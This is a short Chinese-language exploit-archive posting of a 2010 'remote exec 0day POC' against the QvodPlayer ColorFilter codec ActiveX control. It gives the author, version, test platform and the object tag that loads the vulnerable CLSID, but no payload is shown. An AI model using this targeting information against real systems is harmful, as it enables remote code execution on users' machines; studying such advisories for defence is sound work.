以下代码可能带有攻击性。风险自负。与本站无关。
- # Exploit Title: QvodPlayer ColorFilter Codec ActiveX Remote Exec 0day POC
- # Date: 2010.01.19
- # Author: superli
- # Software Link: http://www.qvod.com/
- # Version: 3.5.0
- # Tested on: xpsp3 ie6
- # most of the video player contain the ColoeFilter codec which offered by qvodplayer,including bobohu,qqplayer and so on.
- # Code :
- <object id=TestObj classid="CLSID:{432F118C-DB79-4561-9799-CC95EA78208B}" style="width:100;height:350"></object>
- // 51gho.com [2010-01-19]
PS:QVOD的一处漏洞。官方未给出补丁。等待官方更新、 |
|
